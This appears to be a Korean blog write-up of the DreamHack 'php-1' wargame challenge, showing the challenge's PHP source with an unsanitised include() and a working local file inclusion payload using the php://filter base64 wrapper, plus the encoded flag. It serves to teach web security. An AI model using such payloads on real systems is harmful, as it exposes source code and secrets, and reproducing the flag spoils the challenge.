일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 깃허브
- GIT
- javascript
- php
- 파이썬
- 카카오프로젝트
- 자바스크립트
- oracle
- 보안뉴스 요약
- python
- ES6
- numpy
- 자바스크립트 prototype
- 오라클
- 카카오프로젝트100
- 자바스크립트 객체
- 다크웹
- 랜섬웨어
- Oracle SQL
- 카카오프로젝트 100
- 보안뉴스요약
- 보안뉴스
- 자바스크립트 node
- oracle db
- 자바스크립트 API
- 보안뉴스한줄요약
- 보안뉴스 한줄요약
- 자바스크립트 element api
- 자바스크립트 기본 문법
- 자바스크립트 jQuery
- Today
- Total
FU11M00N
[ DreamHack ] php-1 본문
- 문제 정보
php로 작성된 Back Office 서비스입니다.
LFI 취약점을 이용해 플래그를 획득하세요. 플래그는 /var/www/uploads/flag.php에 있습니다.
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>PHP Back Office</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">PHP Back Office</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=list">List</a></li>
<li><a href="/?page=view">View</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>
</body>
</html>
index.php
<h2>List</h2>
<?php
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}
?>
list.php
<h2>Back Office!</h2>
main.php
<h2>View</h2>
<pre><?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
</pre>
view.php
페이지에서 List를 드가 보면 flag.php와 hello.json 파일이 있는데 flag.php를 클릭하면 permission denied가 출력되어 확인할 수 없고 hello.json은 파일의 내용이 출력되는 것 같다.
<?php include $_GET['page']?$_GET['page'].'.php':'main.php'; ?>
index.php 파일에서는 include를 사용해서 page를 불러온다.
저런 형식을 처음 봐서 해석하는데 시간을 많이 쏟았었다.
get 방식으로 page파라미터에 값을 받고 이 값에. php를 추가한다.
하지만 이때 입력값이 없으면 main.php 파일을 불러온다.
<?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
view.php 파일에선 GET방식으로 받아오는 값에 preg_match로 필터링이 되어 "flag"와 ":(콜론)" 문자가 있으면 exit 함수가 실행되어 권한이 없다고 출력된다.
일단 index.php에 include 하는 부분에 page파라미터로 값을 받아와
php 코드를 실행시키니깐 이 부분을 공략해야겠다고 생각했다.
/?page=/var/www/uploads/flag
위와 같이 페이로드를 작성하면 아래와 같이 출력된다.
can you see $flag?
음.. 뭔가 당황했었다. 어디까지 접근한 걸까 싶어 강의 파일을 계속 읽다가
그래서 php 코드를 실행시키지 않고, php 코드를 그대로 불러오고자 PHP Wrapper를 사용해 주었다.
php 코드를 그대로 실행 안 하고 코드 자체를 읽어야 하기 위해 PHP Wrapper를 사용해야 한다는 것을 알았다.
Wrapper 개념에 대해 정말 예전에 수박 겉핥기식의 개념만 알고 있어서 드림핵 강의 파일도 계속 읽어보고 구글링 한 결과
/?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag
PD9waHAKCSRmbGFnID0gJ0RIe2JiOWRiMWYzMDNjYWNmMGYzYzkxZTBhYmNhMTIyMWZmfSc7Cj8+CmNhbiB5b3Ugc2VlICRmbGFnPw==
정답 페이로드를 알아냈다. 그럼 base64값을
여기에서 www.convertstring.com/ko/EncodeDecode/Base64Decode에서 디코딩했다.
'Web Hacking > DreamHack' 카테고리의 다른 글
[ DreamHack ] command-injection-1 (0) | 2021.03.28 |
---|---|
[ DreamHack ] simple-ssti (0) | 2021.03.28 |
[ DreamHack ] csrf-1 (0) | 2021.03.28 |
[ DreamHack ] proxy-1 (0) | 2021.03.28 |
[ DreamHack ] image-storage (0) | 2021.03.28 |